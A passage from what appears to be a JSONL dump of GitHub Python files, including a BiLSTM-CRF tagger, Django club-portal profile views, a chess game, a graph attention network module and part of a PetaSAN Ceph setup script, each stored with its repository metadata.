从step0到step(i-1)时5个序列中每个序列的最大score\n forward_var = (torch.cat(viterbivars_t) + feat).view(1, -1)\n # bptrs_t有5个元素\n backpointers.append(bptrs_t)\n\n # Transition to STOP_TAG\n # 其他标签到STOP_TAG的转移概率\n terminal_var = forward_var + self.transitions[self.tag_to_ix[self.STOP_TAG]]\n best_tag_id = argmax(terminal_var)\n path_score = terminal_var[0][best_tag_id]\n\n # Follow the back pointers to decode the best path.\n best_path = [best_tag_id]\n #从后向前走,找到一个best路径\n for bptrs_t in reversed(backpointers):\n best_tag_id = bptrs_t[best_tag_id]\n best_path.append(best_tag_id)\n # Pop off the start tag (we dont want to return that to the caller)\n start = best_path.pop()\n assert start == self.tag_to_ix[self.START_TAG] # Sanity check\n best_path.reverse() # 把从后向前的路径正过来\n # 返回路径得分,最优路径列表\n return path_score, best_path\n\n def neg_log_likelihood(self, sentences, tags, sentence_lens):\n # 将lstm输出,经过linear层,得到feats: (句长,5)维度的矩阵\n feats = self._get_lstm_features(sentences, sentence_lens).cuda()\n forward_score = self._forward_alg(feats)\n # print(feats.shape, tags.view(-1).shape) # tags shape: torch.Size([128, 1])\n gold_score = self._score_sentence(feats, tags.view(-1)) # torch.Size([128, 8]) torch.Size([128]), gold_score是数字\n return forward_score - gold_score\n\n\n def forward(self, sentences, sentence_lens): # dont confuse this with _forward_alg above.\n # print(\"用到forward了!!!\")\n # Get the emission scores from the BiLSTM\n # 从BiLSTM得到排放分数,将LSTM的输出映射到标记空间, lstm_feats为4维到5维,即维度为(句长,5)\n lstm_feats = self._get_lstm_features(sentences, sentence_lens)\n\n # Find the best path, given the features.\n # 找到最佳路径,给定特征。得到最优得分和标签路径列表\n score, tag_seq = self._viterbi_decode(lstm_feats)\n return score, tag_seq\n # Helper functions to make the code more readable.\n def argmax(self,vec):\n # return the argmax as a python int\n _, idx = torch.max(vec, 1)\n return idx.item()\n\n def prepare_sequence(self, seq, to_ix):\n idxs = [to_ix[w] for w in seq]\n return torch.tensor(idxs, dtype=torch.long)\n\n # Compute log sum exp in a numerically stable way for the forward algorithm\n # 最后return处应用了计算技巧,目的是防止sum后数据过大越界,实际就是对vec应用log_sum_exp\n def log_sum_exp(self, vec):\n max_score = vec[0, self.argmax(vec)]\n # print('max_score is :',max_score)\n max_score_broadcast = max_score.view(1, -1).expand(1, vec.size()[1])\n # print(max_score_broadcast)\n return max_score + torch.log(torch.sum(torch.exp(vec - max_score_broadcast)))\n","repo_name":"shenquanle/NLP","sub_path":"BiLSTM_CRF.py","file_name":"BiLSTM_CRF.py","file_ext":"py","file_size_in_byte":15036,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"24930958354","text":"from django.shortcuts import render,redirect\nfrom django.template.defaultfilters import slugify\nfrom dashboard.models import ClubProfile, Article,Resume, Project, Achievement\nfrom django.contrib import messages \nfrom django.contrib.auth.decorators import login_required\nfrom .models import (CodingProfile, Profile, Skill, Education,) \n# Create your views here.\n\n\"\"\" Function for coding profiles [Update -> Save] \"\"\"\n@login_required\ndef coding_profile(request):\n if request.method == 'POST':\n try:\n cpuser =ClubProfile.objects.get(user=request.user) \n try:\n codingProfile = CodingProfile.objects.get(user=cpuser)\n codingProfile.codechef = request.POST['codechef']\n codingProfile.codeforces = request.POST['codeforces']\n codingProfile.spoj = request.POST['spoj']\n codingProfile.gfg = request.POST['gfg']\n codingProfile.leetcode = request.POST['leetcode']\n codingProfile.save()\n messages.success(request,'Coding Profiles updated successfully!')\n return redirect('personal_profile')\n\n except:\n user = cpuser\n codechef = request.POST['codechef']\n codeforces = request.POST['codeforces']\n gfg = request.POST['gfg']\n spoj = request.POST['spoj']\n leetcode = request.POST['leetcode']\n codingProfile = CodingProfile(user=user, codeforces=codeforces,codechef=codechef,gfg=gfg,spoj=spoj,leetcode=leetcode)\n codingProfile.save()\n messages.success(request,'Coding Profiles Created Successfully!')\n return redirect('personal_profile')\n \n except:\n messages.error(request,\"No Club profile exist, please contact admin\")\n return redirect('personal_profile')\n return redirect('404_not_found')\n\n\n\"\"\" Function to update education details \"\"\"\n@login_required\ndef personal_profile_education(request,pk):\n if request.method == \"POST\": \n try: \n user = ClubProfile.objects.get(user=request.user)\n education = Education.objects.get(user=user, id=pk)\n education.institution = request.POST['institution']\n education.time_period = request.POST['time_period']\n education.qualification = request.POST['qualification']\n education.grade = request.POST['grade'] \n education.save()\n\n messages.success(request,\"Response updated\")\n return redirect('/dashboard/personal_profile/')\n\n except:\n messages.error(request,\"No such qualification exists\")\n return redirect('/dashboard/personal_profile/')\n\n return redirect('404_not_found') \n\n\n\"\"\" Function to add coding profile details \"\"\"\n@login_required\ndef education_profile(request):\n if request.method == \"POST\":\n try:\n user = ClubProfile.objects.get(user=request.user)\n institution = request.POST['institution']\n time_period = request.POST['time_period']\n qualification = request.POST['qualification']\n grade = request.POST['grade']\n education = Education(user=user, institution=institution,qualification=qualification,time_period=time_period,grade=grade)\n education.save()\n messages.success(request,\"Added Successfully\")\n return redirect('/dashboard/personal_profile/')\n\n except:\n messages.error(request,\"No such qualification exists\")\n return redirect('/dashboard/personal_profile/')\n\n return redirect('404_not_found')\n\n\n\"\"\" Function for personal prfile [Update -> save] \"\"\"\n@login_required\ndef personal_profile_section(request,section):\n if request.method == \"POST\": \n try:\n user = ClubProfile.objects.get(user=request.user)\n\n if(section == \"info_update\"):\n try:\n info = Profile.objects.get( user=user)\n\n # info.name = request.POST['Name']\n uname= request.POST['Username']\n info.dob= request.POST['Dob'] \n info.email= request.POST['Email']\n info.city= request.POST['City']\n info.state = request.POST['State']\n info.postal_code = request.POST['Postalcode']\n info.short_bio = request.POST['Bio']\n user.name = request.POST['Name']\n try:\n info.username = slugify(uname)\n user.save()\n info.save()\n except:\n messages.error(request,\"This username already exist, Kindly enter a unique username\")\n return redirect('/dashboard/personal_profile/')\n\n \n messages.success(request,\"Response updated\")\n return redirect('/dashboard/personal_profile/')\n except:\n\n user.name = request.POST['Name']\n user.save()\n Uname = request.POST['Username']\n Username = slugify(Uname)\n Dob= request.POST['Dob']\n Email= request.POST['Email']\n City= request.POST['City']\n State = request.POST['State']\n Postal_code = request.POST['Postalcode']\n Bio = request.POST['Bio']\n inst = Profile(user= user, dob = Dob, email=Email, city=City, state=State, username= Username, postal_code=Postal_code,short_bio=Bio)\n inst.save()\n messages.success(request,\"Sucessfuly Created\")\n return redirect('/dashboard/personal_profile/')\n\n if(section == \"skill_update\"):\n try:\n user = user\n AddSkill = request.POST['Skill']\n inst = Skill(user = user, skill=AddSkill)\n inst.save()\n messages.success(request,\"Sucessfuly Added\")\n return redirect('/dashboard/personal_profile/')\n \n except:\n messages.error(request,\"Some error occured, contact the core team\")\n return redirect('/dashboard/personal_profile/')\n\n except:\n messages.error(request,\"No such credentials exists\")\n return redirect('/dashboard/personal_profile/')\n\n return redirect('404_not_found')\n\n\n\"\"\" Personal profile image \"\"\"\ndef personal_image_save(request):\n if request.method == \"POST\":\n try:\n user = ClubProfile.objects.get(user=request.user)\n print(user)\n if user:\n try:\n user.image = request.FILES['image']\n user.save()\n messages.success(request,\"Updated Successfully!\")\n except:\n pass\n return redirect('/dashboard/personal_profile')\n else:\n messages.error(request,\"No such Club Profile exists\")\n except:\n messages.error(request,\"Pls Contact to Core team for Account !\")\n return redirect('/dashboard/personal_profile/')\n\n\n\ndef club_profile_update(request):\n if request.method=='POST':\n pass \n\n\n\"\"\" Function for education update \"\"\"\n@login_required\ndef update_education_profile(request,pk):\n if request.method == \"POST\": \n try:\n education = Education.objects.get(id=pk, \n user=ClubProfile.objects.get(user=request.user)\n )\n education.grade = request.POST['grade']\n education.qualification = request.POST['qualification']\n education.time_period = request.POST['time_period']\n education.institution = request.POST['institution']\n education.save()\n messages.success(request,'Qualification Details Updated Successfully!')\n return redirect('home')\n except:\n messages.error(request,\"No such qualification exists\")\n return redirect('home')\n return redirect('404_not_found')\n\n\n\"\"\" Function to delete education profile \"\"\"\n@login_required\ndef delete_education_profile(request,pk):\n try:\n education = Education.objects.get(id=pk, \n user=ClubProfile.objects.get(user=request.user)\n ) \n messages.success(request,'Education Deleted Successfully!')\n return redirect('home')\n except:\n messages.error(request,\"No such qualification exists\")\n return redirect('home')\n return redirect('404_not_found')\n\n\n\"\"\" Function to update club profile \"\"\"\n@login_required\ndef ClubProfiles(request):\n if request.method == \"POST\":\n try:\n clubProfile = ClubProfile.objects.get(user=request.user)\n clubProfile.branch = request.POST['branch']\n clubProfile.name = request.POST['name']\n clubProfile.phone = request.POST['phone']\n clubProfile.save()\n messages.success(request,'Profile Updated successfully')\n return redirect('home') \n \n except:\n messages.error(request,\"Profile Update Failed\")\n return redirect('home')\n return redirect('404_not_found') \n\n\n\n\"\"\" Function to delete skills \"\"\"\n@login_required\ndef delete_skill(request,pk):\n clubProfile = ClubProfile.objects.filter(user=request.user)\n if len(clubProfile)==1:\n try:\n skill = Skill.objects.get(user=clubProfile, id=pk)\n skill.delete()\n messages.success(request,'Skill Deleted successfully')\n return redirect('home')\n\n except:\n messages.error(request,\"Skill delete Failed\")\n return redirect('404_not_found')\n else:\n messages.error(request,\"No CLub Profile exists\")\n return redirect('404_not_found')\n\n\"\"\" Function to display Public Proflie\"\"\"\ndef publicProfile(request, the_slug):\n try: \n profile = Profile.objects.get(username= the_slug)\n iuser = profile.user\n educations = Education.objects.filter(user = iuser)\n skills = Skill.objects.filter(user=iuser)\n projects = Project.objects.order_by('-date').filter(user=iuser.user, is_public = True)\n achievements = Achievement.objects.order_by('-date').filter(user=iuser.user, is_public=True)\n blogs = Article.objects.order_by('-date').filter(user=iuser.user)\n club = ClubProfile.objects.get(user=iuser.user)\n try:\n resume = Resume.objects.get(user = iuser.user)\n context = {'profile':profile, 'educations':educations,'skills':skills, 'projects':projects, 'achievements': achievements,'blogs':blogs, 'resume':resume, 'club':club}\n return render(request, 'dashboard/profile/public_profile.html', context)\n except:\n context = {'profile':profile, 'educations':educations,'skills':skills, 'projects':projects, 'achievements': achievements,'blogs':blogs, 'club':club}\n return render(request, 'dashboard/profile/public_profile.html', context)\n except:\n return render(request, 'dashboard/404.html') ","repo_name":"SanchitaMishra170676/ClubPortal","sub_path":"member/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":11397,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"13357983863","text":"from http.server import BaseHTTPRequestHandler\nfrom urllib import parse\nimport requests\n\nclass handler(BaseHTTPRequestHandler):\n def do_GET(self):\n self.send_response(200)\n self.send_header('Content-type', 'text/plain')\n self.end_headers()\n \n path = self.path\n url_components = parse.urlsplit(path)\n query_string_list = parse.parse_qsl(url_components.query)\n dictionary = dict(query_string_list)\n url = \"https://restcountries.com/v3.1/all\"\n country = dictionary.get(\"country\")\n capital = dictionary.get(\"capital\")\n \n response = requests.get(url)\n data = response.json()\n \n message = \"\"\n \n if capital:\n for country_data in data:\n if capital in country_data.get(\"capital\"):\n country_name = country_data.get(\"name\").get(\"common\")\n message = f\"The capital of {country_name} is {capital}\"\n break\n elif country:\n for country_data in data:\n if country == country_data.get(\"name\").get(\"common\"):\n capital = country_data.get(\"capital\")[0]\n message = f\"{capital} is the capital of {country} \"\n break\n else:\n message = \"Give me a valid country please\"\n \n self.wfile.write(message.encode())\n return\n","repo_name":"doaamelhem96/capital-finder","sub_path":"api/finder.py","file_name":"finder.py","file_ext":"py","file_size_in_byte":1429,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"35529173685","text":"import pandas as pd\nimport seaborn as sns\n\nsns.set(style='darkgrid')\n# df_total = pd.read_csv(\"./total_distance.csv\", header=1, names=['generation', 'total'])\ndf_shortest = pd.read_csv(\"./shortest.csv\", header=1, names=['generation', 'shortest'])\n\nshortest_plot = sns.lineplot(x=\"generation\", y=\"shortest\", data=df_shortest)\n# total_plot = sns.lineplot(x=\"generation\", y=\"total\", data=df_total)\nshortest_fig = shortest_plot.get_figure()\n# total_fig = total_plot.get_figure()\nshortest_fig.savefig(\"shortest_plot.png\", bbox_inches='tight')\n# total_fig.savefig(\"total_plot.png\", bbox_inches='tight')\n","repo_name":"AndrewCharcopin/salesman","sub_path":"analytics.py","file_name":"analytics.py","file_ext":"py","file_size_in_byte":597,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"11406582627","text":"#!/usr/bin/python3.8\n\nimport tweepy\nimport logging\nfrom config import create_api\n\nlogging.basicConfig(level=logging.INFO)\nlogger = logging.getLogger()\n\ndef main():\n api = create_api()\n for status in tweepy.Cursor(api.user_timeline, id='RyanJosephDev').items():\n print(\"status {} \\n\", status.text)\n \n\nif __name__ == \"__main__\":\n main()\n \n \n ","repo_name":"ryan-nanson/wordCloudTwitterBot","sub_path":"wordCloudBot.py","file_name":"wordCloudBot.py","file_ext":"py","file_size_in_byte":372,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"22308996523","text":"#!/usr/bin/python3\n\nimport sys\nimport chess\nimport random\nimport minimax\nimport numpy as np\nfrom os import system\nfrom itertools import chain\n\n\n\nif sys.version_info[0] < 3:\n raise Exception(\"Python 3 or a more recent version is required.\")\n\ndef clear():\n _ = system('clear')\n\ndef listMovesSTR(game):\n moves = []\n for mov in list(game.legal_moves):\n moves.append(str(mov))\n return moves\n\ndef listMoves(game):\n return list(game.legal_moves)\n\n\ndef evaluateBoard(board):\n fen = (board.fen().split(' '))[0]\n piece = {\n 'P': 1,\n 'R': 5,\n 'N': 3,\n 'B': 3,\n 'Q': 9,\n 'K': 1000,\n 'p': -1,\n 'r': -5,\n 'n': -3,\n 'b': -3,\n 'q': -9,\n 'k': -1000\n }\n fen = fen.replace(\"/\",\"\")\n fen = ''.join(i for i in fen if not i.isdigit())\n lst = np.asarray([piece[k] for k in list(fen)], dtype=np.int32)\n print(lst.sum())\n\ndef completeFen(board):\n fen = (board.fen().split(' '))[0]\n for i in range(1,9):\n text = \"0\" * i\n fen = fen.replace(\"{}\".format(i),text)\n fen = fen.replace(\"/\",\"\")\n return fen\n\ndef replacePiece(text):\n PIECE_SYMBOLS = {'P': '♟', 'B': '♝', 'N': '♞',\n 'R': '♜', 'Q': '♛', 'K': '♚',\n 'p': '♙', 'b': '♗', 'n': '♘',\n 'r': '♖', 'q': '♕', 'k': '♔'}\n for k, v in PIECE_SYMBOLS.items():\n text = text.replace(\"{}\".format(k), \"{}\".format(v))\n return text\n\ndef print_board(board):\n clear()\n completeFen(board)\n fen = (board.fen().split(' '))[0]\n\n b = str(board)\n b = replacePiece(b)\n b = b.split('\\n')\n col = [8,7,6,5,4,3,2,1]\n row = \"A B C D E F G H\"\n\n for i in range(0,8,1):\n print(\"%s %s\" %(col[i],b[i]))\n print(\" %s\"%row)\n #print(fen)\n\ndef matrixChess(board):\n fen = completeFen(board)\n matrixBoard = [{'a': '0', 'b': '0', 'c': '0','d': '0', 'e': '0', 'f': '0','g': '0', 'h': '0'} for i in range(8)]\n row=0\n i = 0\n word=\"abcdefgh\"\n for piece in fen:\n letter=word[i]\n matrixBoard[row][letter]=piece\n i = i + 1\n if row < 7 and i>7:\n row = row + 1\n if i> 7:\n i = 0\n return matrixBoard\n\ndef getPiece(board, x, y):\n matrix = matrixChess(board)\n x = 8 - int(x) \n return replacePiece(matrix[int(x)][y])\n\ndef in_dictlist(key, value, my_dictlist):\n for this in my_dictlist:\n if this[key] == value:\n return True\n return False\n\ndef themove_dictlist(key, value, my_dictlist):\n for this in my_dictlist:\n if this[key] == value:\n return this['mov']\ndef main():\n \"\"\"Beat The Turk\"\"\"\n board = chess.Board()\n playing = True\n while playing:\n #calculateBestMove(board)\n themove = random.choice(listMoves(board))\n print(themove)\n board.push(themove)\n print_board(board)\n \n print(\"Posible moves: \")\n\n moves = []\n n = 0\n for mov in listMoves(board):\n m = str(mov)\n #print(getPiece(board, m[1], m[0]))\n piece = getPiece(board, m[1], m[0]) + \" \"+m[2:]\n moves.append({'nro': n, 'piece': piece, 'mov': str(m)})\n n += 1\n # print(moves)\n\n string=[]\n for i in moves:\n string.append(str(i.get('nro'))+(i.get('piece')).replace(\" \", \" \"))\n\n for i in range(0, len(string), 4):\n print(\",\\t\".join(string[i:i+4]))\n\n try:\n move = int(input(\"Re-enter your move: \"))\n except ValueError:\n print(\"This is not a whole number.\")\n move=9999\n while not in_dictlist('nro', move, moves):\n try:\n move = int(input(\"Re-enter your move: \"))\n except ValueError:\n print(\"This is not a whole number.\")\n move = 9999\n\n if in_dictlist('nro', move, moves):\n board.push(chess.Move.from_uci(themove_dictlist('nro', move, moves)))\n\n evaluateBoard(board)\n playing = not board.is_checkmate()\n\nif __name__ == '__main__':\n main()\n","repo_name":"4ng31/chesstest","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4128,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"2060382069","text":"#!/usr/bin/env python\n\nimport unittest\nimport yaml\n\nfrom collections import OrderedDict\nfrom xtransfer.config import Config\n\n\nclass ConfigTest(unittest.TestCase):\n\n def test_config_defaults(self):\n config = Config('tests/fixtures/xfer_profiles_only.yaml')\n self.assertEqual(config.config_filename,\n 'tests/fixtures/xfer_profiles_only.yaml')\n self.assertIsNotNone(config.default_config)\n\n def test_full_config(self):\n config = Config('tests/fixtures/xfer_full.yaml')\n self.assertEqual(config.work_dir, 'tests/fixtures/files/work_dir')\n self.assertEqual(config.loggers,\n {'gelf': {'post': 12021, 'host': 'localhost'},\n 'console': {'level': 'info'}})\n self.assertEqual(config.monitoring,\n {'port': 13030, 'host': '127.0.0.1'})\n self.assertIsInstance(config.profiles, OrderedDict)\n\n def test_config_with_bad_yaml(self):\n with self.assertRaises(yaml.YAMLError):\n Config('tests/fixtures/xfer_bad.yaml')\n\n def test_config_not_there(self):\n with self.assertRaises(IOError):\n Config('tests/fixtures/xfer_not_exist.yaml')\n\n def test_config_without_profiles(self):\n with self.assertRaises(KeyError):\n Config('tests/fixtures/xfer_no_profiles.yaml')\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"timbirk/python-xtransfer","sub_path":"tests/test_config.py","file_name":"test_config.py","file_ext":"py","file_size_in_byte":1408,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"9026675067","text":"#!/usr/bin/python3\n# -*- coding: UTF-8 -*-\n\nimport os\nimport sys\nimport gettext\nimport skl_shared.gettext_windows\nskl_shared.gettext_windows.setup_env()\n\n\nclass Localization:\n \n def __init__(self):\n ''' #NOTE: - do not localize messages in this class\n - do not use shared functions\n '''\n self.Success = True\n self.iloc = None\n self.load()\n \n def translate(self,string):\n if self.Success:\n try:\n return self.iloc.gettext(string)\n except Exception as e:\n ''' #NOTE: Do not set 'self.Success' here, we need\n an original input upon a failure.\n '''\n mes = 'Operation has failed!\\n\\nDetails: {}'.format(e)\n print(mes)\n return string\n else:\n return string\n \n def load(self):\n if self.Success:\n prefix = os.path.dirname(sys.argv[0])\n path = os.path.join(prefix,'..','resources','locale')\n path = os.path.realpath(path)\n print('Search the translation file in \"{}\"'.format(path))\n try:\n self.iloc = gettext.translation('transl',path)\n except Exception as e:\n self.Success = False \n e = str(e)\n if 'No translation file found' in e:\n mes = 'No translation file has been found'\n else:\n mes = 'Operation has failed!\\n\\nDetails: {}'\n mes = mes.format(e)\n print(mes)\n else:\n print('Failed to localize the app!')\n\n\n_ = Localization().translate\n","repo_name":"sklprogs/shared","sub_path":"src/localize.py","file_name":"localize.py","file_ext":"py","file_size_in_byte":1706,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"27369002278","text":"import difflib\r\nimport os.path\r\n\r\n\r\nclass Py3Diff(object):\r\n\r\n def __init__(self, ignore_case, ignore_whitespaces):\r\n self._ignore_case = ignore_case\r\n self._ignore_whitespaces = ignore_whitespaces\r\n\r\n def format_range_ed(self, start, stop):\r\n beginning = start + 1 # lines start numbering with one\r\n length = stop - start\r\n if not length:\r\n beginning -= 1 # empty ranges begin at line just before the range\r\n if length <= 1:\r\n return '{}'.format(beginning)\r\n return '{},{}'.format(beginning, beginning + length - 1)\r\n\r\n def ed_diff(self, old, new, lineterm='\\n'):\r\n old_lines = [x.lower() for x in old] if self._ignore_case else old\r\n new_lines = [x.lower() for x in new] if self._ignore_case else new\r\n isJunk = difflib.IS_CHARACTER_JUNK if self._ignore_whitespaces else None\r\n for group in difflib.SequenceMatcher(isJunk, old_lines, new_lines).get_grouped_opcodes(0):\r\n yield from self.convert_lines(old, new, group, lineterm)\r\n\r\n def convert_lines(self, old, new, group, lineterm):\r\n first, last = group[0], group[-1]\r\n file1_range = self.format_range_ed(first[1], last[2])\r\n file2_range = self.format_range_ed(first[3], last[4])\r\n\r\n for tag, i1, i2, j1, j2 in group:\r\n if tag == 'delete':\r\n yield '{}d{}{}'.format(file1_range, file2_range, lineterm)\r\n for line in old[i1:i2]:\r\n yield '< ' + line\r\n continue\r\n if tag == 'insert':\r\n yield '{}a{}{}'.format(file1_range, file2_range, lineterm)\r\n for line in new[j1:j2]:\r\n yield '> ' + line\r\n continue\r\n if tag == 'replace':\r\n replaced = False\r\n yield '{}c{}{}'.format(file1_range, file2_range, lineterm)\r\n for line in old[i1:i2]:\r\n yield '< ' + line\r\n replaced = True\r\n for line in new[j1:j2]:\r\n if replaced:\r\n yield '---' + lineterm\r\n yield '> ' + line\r\n\r\n\r\ndef py3diff_diff_files(fname_in, fname_new, fname_out, ignore_case=False, ignore_whitespaces=False):\r\n oldfname = os.path.expanduser(fname_in)\r\n newfname = os.path.expanduser(fname_new)\r\n outfname = os.path.expandvars(fname_out)\r\n with open(oldfname, encoding='utf-8', errors='surrogateescape') as oldf, open(newfname, encoding='utf-8', errors='surrogateescape') as newf:\r\n oldlines, newlines = list(oldf), list(newf)\r\n diff = Py3Diff(ignore_case, ignore_whitespaces)\r\n ed = diff.ed_diff(oldlines, newlines)\r\n with open(outfname, mode='w', encoding='utf-8', errors='surrogateescape') as outf:\r\n outf.writelines(ed)\r\n","repo_name":"sgur/vim-py3diff","sub_path":"autoload/py3diff.py","file_name":"py3diff.py","file_ext":"py","file_size_in_byte":2846,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"32"} +{"seq_id":"38214240217","text":"# The program will prompt for a URL, read the JSON data from that URL using urllib\n# and then parse and extract the comment counts from the JSON data,\n# compute the sum of the numbers in the file and enter the sum below:\n\n\nimport urllib.request, json\n\nwith urllib.request.urlopen(\"http://py4e-data.dr-chuck.net/comments_200771.json\") as url:\n data = json.loads(url.read().decode())\n\n numlist = []\n\n for item in data['comments']:\n countnum = int(item['count'])\n addtolist = numlist.append(countnum)\n s = sum(numlist)\nif __name__ == '__main__':\n print(s)\n","repo_name":"lambduhh/python4e","sub_path":"app/bin/a13_JSON.py","file_name":"a13_JSON.py","file_ext":"py","file_size_in_byte":586,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"44042555620","text":"import torch_geometric as torch_g\nimport torch\nimport torch.nn.functional as F\nimport torch.nn as nn\nfrom torch_geometric.utils import add_remaining_self_loops\n\nimport hamgnn.nn_modules.EncodeProcessDecodeNN as encodeDecode\n\n#python3 terminal_scripts/train_model_variation.py --run-name gat_edge_4l --gpu 1 train_request_HamS_gpu_GATe\n\n\"\"\"\nin models_list.py append:\n\nfrom hamgnn.nn_modules.GraphAttentionNNe import EncodeProcessDecodeAlgorithmGATedge\n\n#GAT\ntrain_request_HamS_gpu_GATe = copy.deepcopy(train_request_HamS_gpu_with_rand_node_encoding)\ntrain_request_HamS_gpu_GATe.arguments[\"model_class\"] = EncodeProcessDecodeAlgorithmGATedge\ntrain_request_HamS_gpu_GATe.arguments[\"trainer_hyperparams\"].update({\"max_epochs\": 2000})\n\n#for 1 layer:\ntrain_request_HamS_gpu_GATe.arguments[\"model_hyperparams\"].update({\"processor_depth\": 1})\n#for 2 layers:\ntrain_request_HamS_gpu_GATe.arguments[\"model_hyperparams\"].update({\"processor_depth\": 2})\n#for 4 layers:\ntrain_request_HamS_gpu_GATe.arguments[\"model_hyperparams\"].update({\"processor_depth\": 4})\n\"\"\"\n\n#Graph Attention layer with edge distinction\nclass GATelayer(torch_g.nn.MessagePassing):\n def __init__(self, in_channels, out_channels, heads=1):\n super().__init__()\n self.in_dim = in_channels\n self.out_dim = out_channels\n\n self.heads = heads\n\n #w_f, w_b weights split in two, for calculations for ongoing and outgoing edges\n self.w_f = nn.Linear(2 * in_channels, out_channels * heads)\n nn.init.xavier_normal_(self.w_f.weight)\n\n self.w_b = nn.Linear(2 * in_channels, out_channels * heads)\n nn.init.xavier_normal_(self.w_b.weight)\n\n #att_f, att_b attentions split in two, for calculations for ongoing and outgoing edges\n self.att_f = nn.Parameter(torch.zeros(heads, out_channels, 1))\n nn.init.xavier_uniform_(self.att_f.data)\n\n self.att_b = nn.Parameter(torch.zeros(heads, out_channels, 1))\n nn.init.xavier_uniform_(self.att_b.data)\n\n def forward(self, x, edge_index, edge_weight):\n num_nodes = x.size(0)\n\n #adding the remaining self loops\n edge_index, edge_weight = add_remaining_self_loops(edge_index, edge_attr=edge_weight, fill_value=1, num_nodes=num_nodes)\n\n out_f = self.directed_gate(x, edge_index, edge_weight, forward=True)\n out_b = self.directed_gate(x, edge_index, edge_weight, forward=False)\n\n #aggregation\n out_f = out_f.mean(dim=0).mean(dim=0)\n out_b = out_b.mean(dim=0).mean(dim=0)\n\n #final result\n out = out_f + out_b\n\n return out\n \n def directed_gate(self, x, edge_index, edge_weight, forward):\n num_nodes = x.size(0)\n\n if forward:\n row, col = edge_index\n new_edge_index = edge_index\n else:\n col, row = edge_index\n new_edge_index = torch.vstack((col, row))\n\n h = self.propagate(edge_index=new_edge_index, x=x, edge_attr=edge_weight, forward=forward)\n \n return h\n\n def message(self, x_j, x_i, forward, edge_attr):\n #adding edge weights\n edgeAttr = torch.cat((edge_attr[:, 0].unsqueeze(1),) * self.in_dim, dim=1)\n\n xi = x_i + edgeAttr\n xj = x_j + edgeAttr\n\n #concat\n e = torch.cat([xi, xj], dim=1)\n\n #apply weigths based on edge direction\n if forward:\n x = self.w_f(e)\n else:\n x = self.w_b(e)\n\n #apply LeakyReLU\n x = F.leaky_relu(x)\n\n x = x.reshape(self.heads, self.out_dim, x.size(0)).squeeze()\n\n #apply attention based on edge direction\n if forward:\n alpha = x * self.att_f\n else:\n alpha = x * self.att_b\n\n #apply softmax\n alpha = F.softmax(alpha, dim=1)\n\n return x_j * alpha.unsqueeze(-1)\n\n#Graph Attention Neural Network with edge distinction with an arbitrary number of Graph Attention layers with edge distinction; after each of them the ReLU activation function is used \nclass GATe(torch.nn.Module):\n def __init__(self, in_dim, hidden_dim, out_dim, heads, nr_layers):\n assert nr_layers >= 1\n\n super(GATe, self).__init__()\n\n self.in_dim = in_dim\n self.hidden_dim = hidden_dim\n self.out_dim = out_dim\n\n self.heads = heads\n self.nr_layers = nr_layers\n\n layers = []\n if (nr_layers == 1):\n layers += [GATelayer(in_dim, out_dim, heads=heads), nn.ReLU()]\n else:\n layers += [GATelayer(in_dim, hidden_dim, heads=heads), nn.ReLU()]\n for layer_index in range(nr_layers - 2):\n layers += [GATelayer(hidden_dim, hidden_dim, heads=heads), nn.ReLU()]\n layers += [GATelayer(hidden_dim, out_dim, heads=heads), nn.ReLU()]\n\n self.layers = nn.ModuleList(layers)\n\n def forward(self, x, edge_index, edge_weights):\n for layer in self.layers:\n if isinstance(layer, GATelayer):\n x = layer(x, edge_index, edge_weights)\n else:\n x = layer(x)\n return x\n\n#overridden processor part with Graph Attention Network with edge distinction with 4 GAT layers with edge distinction\nclass EncodeProcessDecodeAlgorithmGATedge(encodeDecode.EncodeProcessDecodeAlgorithm):\n def _construct_processor(self):\n return GATe(in_dim=self.hidden_dim, hidden_dim=self.hidden_dim, out_dim=self.hidden_dim, heads=5, nr_layers=4)\n \n","repo_name":"KatarinaGacina/GNNs-Hamiltonian-cycles","sub_path":"hamgnn/nn_modules/GraphAttentionNNe.py","file_name":"GraphAttentionNNe.py","file_ext":"py","file_size_in_byte":5409,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"32"} +{"seq_id":"32450979866","text":"from flask import json\nimport os\nimport uuid\nimport time\nimport sys\nfrom PetaSAN.core.cluster.configuration import configuration\nfrom PetaSAN.core.common.log import logger\nfrom PetaSAN.core.config.api import ConfigAPI\nfrom PetaSAN.core.entity.cluster import NodeInfo\nfrom PetaSAN.core.common.cmd import *\nfrom PetaSAN.core.ssh.ssh import ssh\nfrom PetaSAN.core.entity.status import StatusReport\nfrom PetaSAN.core.ceph.api import CephAPI\n\n\ndef __get_net_size(netmask):\n netmask = netmask.split('.')\n binary_str = ''\n for octet in netmask:\n binary_str += bin(int(octet))[2:].zfill(8)\n return str(len(binary_str.rstrip('0')))\n\n\ndef build_monitors():\n cluster_name = configuration().get_cluster_name()\n ceph_mon_keyring = ConfigAPI().get_ceph_mon_keyring(cluster_name)\n ceph_client_admin_keyring = ConfigAPI().get_ceph_keyring_path(cluster_name)\n status = StatusReport()\n\n try:\n _fsid = uuid.uuid4()\n\n content = \"[global]\\n\\\nfsid = {fsid}\\n\\\nmon_host = {mon_host}\\n\\\n\\n\\\npublic_network = {public_network}\\n\\\ncluster_network = {cluster_network}\\n\\\n\\n\"\n\n cluster_config = configuration()\n current_node_info = cluster_config.get_node_info()\n\n current_node_name = current_node_info.name\n current_cluster_info = 